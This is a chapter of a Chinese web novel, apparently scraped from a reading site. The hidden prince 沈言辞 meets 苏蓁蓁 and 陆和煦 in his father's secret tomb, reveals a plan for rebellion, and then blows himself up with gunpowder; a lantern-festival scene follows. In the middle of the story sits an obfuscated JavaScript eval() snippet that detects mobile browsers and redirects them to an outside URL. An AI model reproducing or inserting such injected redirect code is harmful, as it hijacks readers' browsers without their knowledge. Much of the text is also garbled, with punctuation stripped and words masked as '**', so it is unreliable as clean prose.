【你,听得到我说话。】
寝殿内的万年灯上,灯油已经燃烧一半。
男人走进来,拎起手里的油壶。
油壶里的灯油被缓缓注入灯碗,灯芯打晃,而后显得整座昏暗的寝殿稍亮了一些。
沈言辞放下手里的油壶,指尖抚上沉重的青铜灯座。
灯座上雕着蟠龙卷云,岁月久了,覆着一层幽青铜锈,粘在他的指尖上,带着一股腐朽的气息。
在他身后,有两个人抬着手里的箱子进来。
“主子,放在哪?”
“这里,”沈言辞抬手指了指棺木旁边,“轻一点。”
那个黑色的大箱子就被轻轻放在了棺床上,紧靠着棺木。
沈言辞盯着这个棺木看了一会,突然转头看向这两个男人。
“若你们不跟着我做这些事情,最想干什么?”
这两个男人面面相觑,神色拘谨地站在那里,不敢言语。
沈言辞笑道:“我只是问问,你们随便说说。”
其中一个男**胆开口,“我,我有喜欢的女子了,我想与她一起寻个地方安顿下来,最好再生个娃娃,我们两个都很喜欢孩子,连孩子的名字都起好了……”
另外一个也被感染道:“我母亲一人在家中,无人照料,我很是想念,如今天下太平……”话出口,他便觉出不对,立即住嘴,脸色难看。
沈言辞眸色微怔,良久之后,他才点头,“好,你们出去吧,快些下山去办我交代的事。”
见沈言辞并没有追究,这两人神色皆是一松。
“是,主子。”
两个男人出去了,寝殿内瞬间又恢复安静。
沈言辞的视线落到那个棺床上。
棺木紧闭,被灯色一照,显出幽色。
他不敢靠近,只远远站着。
“父皇,孩儿无能。”
沈言辞靠着万年灯跪了下来,他神色恭谨的朝着棺木磕了三个头。
磕完头,沈言辞站起来,朝棺木走去。
寝殿内很安静,只有他一个人。
沈言辞听到自己急促的呼吸声。
他神色悲切地看着棺木旁边的木箱子,指尖颤抖着抚过。
木箱子上带着封条,漆色新鲜。
沈言辞抬手撕开封条,然后轻轻打开箱子。
一股陈旧的腐朽气息袭来,没有恶臭,只有陈年的死气。
十几年的光阴蚀尽皮肉,只余下一具惨白干净的
骸骨黑洞一般的眼窝里口鼻处
沈言辞颤抖着手探进去将这几枚铜钱慢慢的一个一个地拿出来。
铜钱早已泛青发黑为了镇魂边缘磨得锋利拿出来的时候割伤了沈言辞的手。
沈言辞低头看着自己刺痛渗血的手掌并未在意只是上前用袖子替这具骸骨将身上的脏污慢慢擦拭干净。
擦完沈言辞站起来走到棺木边伸手推开。
厚重的棺材盖子被他打开一道口子下一刻一道白色的粉末从棺材里撒出来。
沈言辞没有防备大大吸入一口登时就感觉浑身酥麻像过电一般头脑一瞬间涨裂眼前也模糊起来。
他下意识伸手扶住棺木然后感觉棺木在动。
棺材盖子被人掀开有人从里面出来。
苏蓁蓁捂着口鼻手里捏着空荷包又把里面剩下的一点残渣往沈言辞身上甩了甩。
就剩这点了第二个人也不够量别浪费了。
这不知道是什么药粉沈言辞只吸入了一口就感觉浑身的麻痹感越来越重身体虽然无法动弹但神志却是清醒的。
除了一开始被药粉迷了眼看不清楚外现在他的视野反而清晰不少。
苏蓁蓁?
寝殿内积着黑水潮湿的环境下青苔遍布。
沈言辞踩到水洼重重跌在地上。
他躺在那里脖颈上出现一柄**。
沈言辞视线上移看到站在他身边的两张脸。
苏蓁蓁和……一个奇怪的黄黑胖子蹲在沈言辞身边歪头看他。
“他**吗?”陆和煦的**贴着沈言辞的脖颈微微用力有鲜血从他的脖颈上顺着**往下落。
“没有这药粉不是**。”苏蓁蓁摇头。
这是她用来自保带在身上的不致命。
“不过会让人身体麻痹半个时辰。”
沈言辞闭上眼又睁开他仔细辨认终于从这双黑沉的眸中认出来。
“陆和煦?你们怎么会在这里?”
苏蓁蓁想了想“路过。”
从他的屋子里路过然后又顺便路过了他爹的暗陵。
沈言辞深沉地叹出一口气“来了也好我有话想跟你们说。”
“杀了他吧。”苏蓁蓁突然蹙眉。
按照剧情发展不管是什么角色若是有话要说只有两种可
能,一是马上要**,进行内心剖析,二是在等反转,比如等一下马上就会有人冲进来救下沈言辞。
肯定不是第一种可能。
沈言辞:……
陆和煦点头,正欲下手,棺床突然剧烈震动,下一刻,寝殿的陵门轰然下坠,直接将他们三人封死在里面。
苏蓁蓁迅速起身去看寝殿的陵门。
她站在那里,伸手拍了拍,“啪啪。
寝殿的石门很厚,很重,在苏蓁蓁的攻击下纹丝未动。
她猜测,就算是陆和煦如此天生神力的人,大抵也不能搬动。
“应该是有机关的。
苏蓁蓁知道这种陵墓,都是有机关控制的。
陆和煦割入沈言辞脖颈的**一顿。
他眯眼看向他,“怎么打开?
脖颈刺痛,沈言辞却没有挣扎,只是盯着陆和煦看。
【你,听得到我说话。】
这是沈言辞想了很久的事情,今日,终于得到了证实。
**为什么陆和煦能听到别人的心声。
怪不得,他做事如此武断,甚至看起来癫狂,可却又都是对的。
不过现在,这一切已经不再重要了。
陆和煦脸上表情不变,只是阴沉沉地看着他,手里的**毫不留情的继续往下割。
“等一下,现在还不能杀他,不然我们可能会被永远困在这里。
苏蓁蓁拉住陆和煦,她看着沈言辞脖颈处淌出来的血,从腰间的药囊内取出一瓶粉,尽数倒在他的伤口上。
干粉如同撕裂般渗入伤口,沈言辞的喉咙里发出痛苦的低喊声。
苏蓁蓁又撕开身上略为干净的中衣,替他裹住伤口,很快就帮沈言辞止了血。
“机关在哪?
苏蓁蓁低头询问。
沈言辞看着她,因为失血过多,所以脸色苍白。
他躺在那里,艰难开口,“我有话要说,是关于肃王的事……
说着话,沈言辞的视线不由自主地落到苏蓁蓁脸上,他想抬手去碰她,却发现自己的手怎么都抬不起来,只好作罢。
【想摸一摸她,看起来好温暖。】
因为失血,所以沈言辞的身体温度急速流失。
再加上暗陵在地下,他躺在棺床上。
他真的觉得很冷。
一只手突然掐住他的脖子,沈言辞被掐得直翻白眼。
“别掐**,我们还不知道机关在哪呢。
【突然生
什么气呀。】
苏蓁蓁伸手去掰陆和煦的手。
男人松开手劲看向沈言辞的视线带着一股难掩的阴郁戾气然后转头看向苏蓁蓁脸上又多了一分气闷。
他要摸你。
沈言辞仰头使劲呼吸喉咙处的伤口再次崩开鲜血晕染了脖颈处的衣料。
他缓了缓才开口“肃王病重庶长子陆长英谋害世子陆鸣谦致其失踪我们查到陆鸣谦所在将消息透露给陆长英。”
“你们要干什么?”
“挑起藩王之乱。”
果然虽然剧情并没有按照原著进行但该有的大事件节点真是一个不少。
“你跟我们说这些干什么?不要拖延时间告诉我们机关在哪。”苏蓁蓁伸手按住沈言辞的脖子替他止血“不然你流血过多就算是人来了也活不了。”
沈言辞感受着女人抵在自己脖颈处的温度他微微笑了笑温润如玉的眉眼处略过明显的柔情又难掩眉宇间的疲惫。
“我不是在等人过来我刚才进来前便已经将道观内的人都遣散出去了。”
“现在整个神居山上就只有我们三个人。”
沈言辞的声音逐渐虚弱他微微颤动着眼睫看向一旁的陆和煦“陛下请您答应我一件事。”
“他们只是没有办法他们也是被推着走上这条路的。”
“你替我好好善待他们。”
沈言辞的手能动了。
他缓慢抬起手
陆和煦安静看着他。
沈言辞“说”完抬手指向那个万年灯。
“转一下灯台。”
苏蓁蓁盯着灯台看了一会又将视线转向陆和煦。
会不会有诈?
“待在这里。”
陆和煦将苏蓁蓁按在沈言辞身边。
苏蓁蓁握着陆和煦的手腕仰头看他脸上是挡不住的担忧“小心。”
陆和煦轻轻抚了抚她的面颊然后转身走到万年灯前抬手转动灯台。
随着灯台被转动苏蓁蓁脚下微微晃动那扇落下的寝殿大门被再次开启。
“外面其它的门只要转动最靠近的那个油灯就能打开。”沈言辞盯着黑洞洞的暗陵顶部“给你们一个时辰快点下山。”
“你要干什么?”苏蓁蓁敏锐的察觉到不对劲。
“打破枷锁。”沈言辞说完视线再次落到陆和煦
脸上,他看着他,两人都没有说话。
陆和煦走到苏蓁蓁身边,拉住她的手,“走。”
苏蓁蓁惊讶,“不杀了吗?”
“……嗯。”
苏蓁蓁扭头,神色怪异地看了一眼陆和煦,“你跟他做了什么交易?”
女人的敏锐度实在是太强了。
陆和煦道:“出去告诉你。”
苏蓁蓁点头,最后回头看了一眼还躺在那里的沈言辞。
那些药粉对沈言辞身体产生的麻痹感尚未消除,可因为脖子上那一**,所以痛感让他提前掌握了自己身体的控制权。
沈言辞努力半撑起身体,与苏蓁蓁对上视线。
他扬起一个笑,昏暗的暗陵寝殿内,男人笑得温柔。
不是那种初见时的假笑,而是发自内心的,褪去了木偶皮囊的笑。
苏蓁蓁一愣,随后扭头,跟着陆和煦离开。
沈言辞看着苏蓁蓁和陆和煦的背影消失在自己面前。
他抚着脖颈处女人的衣料,浓重的血腥气下,他能嗅到一股淡淡的草药香味,像在日光下,晒足了的艾草。
失血过多,沈言辞的身形缓慢软下来,最终靠倒在棺木上。
他的手抚上棺木冰凉的棺身,那种沁冷的寒意凛冽而出,穿透肌肤刺入血脉。
他缓慢闭上眼,将自己的脸贴上去。
父皇的手总是很烫,跟这个棺木不一样。
记忆已经很久远了,沈言辞蜷缩起身体,像小时候一样,喜欢将自己蜷缩在父皇的怀抱里。
父皇教他骑马,射箭,读书,**字。
父皇的手,粗糙又温柔。
棺木给人的感觉越来越冷,就像是父皇逐渐冰冷的尸体一样。
沈言辞缓了很久,才感觉自己的身体逐渐恢复了一点力气。
他撑着棺木站起来,踉跄着走到木箱子边,弯腰,将里面的遗骨残骸,一点一点的搬运进棺木内。
等他将木箱子里的所有遗骨全部搬进去后,又吃力的将棺木封上。
沈言辞靠在棺木上休息了一会,又走到另外那些被白条封住的木箱子前。
他伸手撕开白条,打开。
一股刺鼻的味道冲出来。
里面是火,药。
沈言辞拿起刚才带进来的油壶,对着木箱子周围撒了一圈。
将最后一滴油壶倒尽。
他抱着油壶靠坐回棺木前。
眼前那盏万年灯还在散发着幽幽的光芒。
沈
言辞的记忆开始模糊。
“听话太子殿下。”
老太傅粗哑的声音在他耳畔响起
那一日好大的火。
很多宫人都在往外逃。
很多人冲进来到处都是血到处都是尸体。
从前沈言辞总会被记忆中的这个场景吓得精神不定可今日他却是不怕了。
因为这缠绕了他半辈子的噩梦终于要在今日终结了。
“太子太过软弱是不行的。”
带着他死里逃生重伤初愈的老太傅与他躲在神居山上的暗陵里。
那个时候沈言辞夜夜被噩梦惊扰他吓得瘦了一大圈。
沈言辞几乎要吓疯了。
可他没有疯是几乎。
老太傅很是恨铁不成钢却依旧陪着他在暗陵寝殿内跟棺木一起睡。
那段日子是老太傅陪在他身边。
等风头过去他从寝殿内出来了心神反而安定了。
他与老太傅住在神居山上眼看着老太傅引来诸多信徒。
**老太傅在干什么他只知道暗陵里的陪葬品在一件一件的减少。
然后从某个时期开始逐渐增多直至铺满整个寝殿。
老太傅很忙没有空来管教他。
沈言辞一个人在神居山里过日子有两个会武的女婢跟着还有人过来教授他读书。
沈言辞以为日子会一直这样下去直到那一日他再次看到了老太傅。
老太傅变得很瘦他身上披了一件黑色斗篷手里提着一只兔子。
那兔子软绵绵的没有力气已经**。
“太子殿下贪图享乐如何复国!”
那只兔子被扔到沈言辞面前兔子腿上还绑着他给它系上的绷带。
前几日沈言辞在院子里发现了这只受伤的兔子。
这兔子脾气很不好若非脚受伤了一看就是要蹦起来打他的程度。
沈言辞用碗装了水给它喝它叼着碗就单腿蹦起来摔在了地上。
沈言辞:……
照顾兔子虽然辛苦但沈言辞身边难得有这样一只活物。
人类是情感丰沛的生物。
陪伴带来的长久性安慰让沈言辞在噩梦连连的夜晚惊醒过来时看到那只躲在角落吃草的兔子心中莫名能获得几分安静。
他走过去给它倒水。
兔子喝上两口又要摔碗被沈
言辞眼疾手快的一把抢过来。
那个女婢
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308977|198739||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
已经开始问他,为什么会摔碎这么多碗了。
沈言辞自以为自己将兔子藏的很好,可还是被老太傅发现了。
兔子**,沈言辞每夜惊醒,看到的都是一间空荡荡的屋子。
有时,他会梦魇,怎么都醒不过来。
很多次,兔子摔碎碗,将他从梦魇中拽出来。
可这次,只剩下满屋的孤寂。
黑暗中,他似乎能听到那些凄厉的喊叫,从四面八方涌过来,缠在耳边,分不清是男是女,是老是少,像无数根细针,狠狠扎进他的耳膜。
他想抬手捂住耳朵,指尖却重得抬不起来,只能任由那些喊叫钻进脑子里。
他身下的被褥也变成了黏稠的血床。
那血源源不断地渗出来,顺着他的身体往上涌动,将他整个人裹在其中。
他想挣扎,却发现自己像是被钉在了这张血床上,四肢沉重得无法动弹。
少年冷白的指尖死死攥紧,指节泛青,脸上翻涌着惊惶,却连睁眼都做不到。
那些凄厉的喊叫还在继续,血床的黏腻感愈发真切,他仿佛能感觉到无数的手,正从血里伸出来,死死抓住他的脚踝,要将他拖进更深的深渊里去。
啊啊啊……
少年沈言辞猛地一下惊醒,他看到了站在床边的老太傅。
“太子殿下,你活着,就是为了光复大燕。”
他活着,就是为了光复大燕。
沈言辞背着这个枷锁,走了十几年。
而直到现在,他才突然发现。
这并非是他一人的枷锁。
甚至,他才是他们所有人的枷锁。
他今日本来就没有打算活着走出这里。
“父皇,您曾经教导过我,百姓安康,才是君王职责所在。”沈言辞抚着身后的棺木。
“田有收成,家有炊烟,老者安享天年,稚子安然成长,黎庶无流离之苦,无苛赋之累。”沈言辞的声音逐渐变低,“百姓安,天下安,百姓乐,社稷兴。”
记忆中自己父皇的话一字一句回响在脑中。
沈言辞想起来了,他要的从来就不是那个位置。
他要的只是一份百姓安康。
只是他走了太久,走了太远,忘记了这份责任。
他的内心被仇恨蒙蔽,他太想要报仇了。
苏蓁蓁的那句话点醒了他。
他要的,到底是什么。
仇恨固然难
消可父皇难道就愿意看到他为报私仇大兴杀伐牵连无辜百姓?
若因仇恨毁了百姓安宁即便报了仇怨父皇也不会开心的。
“陆和煦答应我了。”
“父皇我不会再挑起战争了。”
“天下太平才是我们心之所向。”
沈言辞伸腿踢翻了那个沉重的万年灯。
火舌贪婪吞噬灯油一瞬就将周围燃起。
沈言辞在火中闭上了眼。
终于暖和起来了。
-
苏蓁蓁和陆和煦走出道观一路过来他们确实一个人都没有看到。
难道沈言辞说的是真的?
他到底要干什么?
苏蓁蓁疑惑的视线落到陆和煦脸上。
男人难得沉默他低头与苏蓁蓁对视牵住她的手继续领着她往外去。
两人都没有说话一直走到半山腰身后突然传来一道巨大的轰鸣声。
如夏日雷霆炸响响彻天际。
苏蓁蓁猛地驻足
“地震了?”苏蓁蓁一下抱紧陆和煦。
“不是”陆和煦抱住她摇头“是火药。还记得那些木箱子吗?里面装着火药沈言辞引爆了它们。”
苏蓁蓁顿在原地恍惚想起沈言辞最后看她的一眼。
她呐呐张了张嘴“他为什么要这么做?”
“没有了燕国太子就不用复国了。”
【等一下我会引爆这里的火药你带苏蓁蓁走。】
【我会带着这些复国的资本一起沉入神居山下。】
苏蓁蓁的心情说不上伤感只是莫名有些……难受。
“给他立个碑?”
陆和煦突然开口。
【啊?】
苏蓁蓁眨了眨眼显然是觉得这话不像是会从陆和煦嘴里说出来的。
“好。”苏蓁蓁点头。
陆和煦转身用手里的**砍出来一块略干净些的地然后找了一块石头在上面刻字。
苏蓁蓁则去摘了些野果她抱着野果过来看到陆和煦将刻好的石头对着那半座倒塌的道观竖了起来。
“陆崇安之墓。”
沈言辞是他的化名。
陆崇安才是他的真名。
苏蓁蓁将手里的野果放在了这块石头碑前。
一只手揽住她的肩膀陆和煦靠过来“我们下山吧。”
苏蓁蓁点头。
-
那些火,药的份量大概是计算好的。
只是将道观炸的倒塌了一半,把暗陵的入口死死埋住,也将那些值钱的金银珠宝全部埋在了里面。
那些珠宝应该是复燕的资本积累,现在和沈言辞一起埋进了神居山下。
苏蓁蓁叹息一声,从怀里掏出几锭金子,放在桌子上。
上面居然还刻着大燕的名号。
这个也不能用啊,得熔了才行。
暗陵里一股腐朽之气,苏蓁蓁将自己全身上下洗了一遍之后,坐在窗台前擦金锭。
一个。
两个。
三个。
拿了三个。
苏蓁蓁歪头趴在桌子上,视线上移,看到魏恒手里提着一个灯笼过来。
那是一盏兔子灯。
苏蓁蓁这才发现,宅子里的各处,只要是能挂灯笼的地方,都被换成了应节日的花灯。
要中秋了。
时间过的好快。
“苏姑娘。
魏恒将手里的兔子灯递给苏蓁蓁。
细密的竹篾扎成兔子骨架,糊上纱布,再用毛笔上色,点上一双红艳艳的眼睛。
“谢谢干爹。
苏蓁蓁隔着窗户接过这盏兔子灯。
魏恒站在窗前,双手交叠置在腹前,“明日市集有中秋灯会,苏姑娘可邀陛下一同前往看灯。
苏蓁蓁捏着手里的兔子灯,“他,愿意跟我去吗?
魏恒微笑着道:“苏姑娘,主子从小就没有人教他这些男女情爱之事,他不懂何为情,何为爱,有时候想法也异于常人。可我能看出来,他对你,是特别的。
苏蓁蓁抿唇,拎着兔子灯,朝魏恒点了点头。
魏恒点头,转身离开。
苏蓁蓁拿着兔子灯进屋。
她想,魏恒都看出来她喜欢他了。
苏蓁蓁戳着兔子灯,站起来,在屋子里转了一圈,然后走出屋子,敲响了陆和煦的屋门。
男人正在批阅奏折。
听到声音,微微抬眸,“进。
苏蓁蓁轻手轻脚的从门扉后探出一张雪白面庞,朝陆和煦这里窥视。
“有事?男人刚刚沐浴完毕,他身上的伪装已经全部卸下,露出的眉眼锋利如刃。
陆和煦坐在御案后抬眸,身上还带着尚未散尽的水汽。
苏蓁蓁将手里的兔子灯从门扉里挤着送进来。
“明日有中秋灯会。
“去玩吗?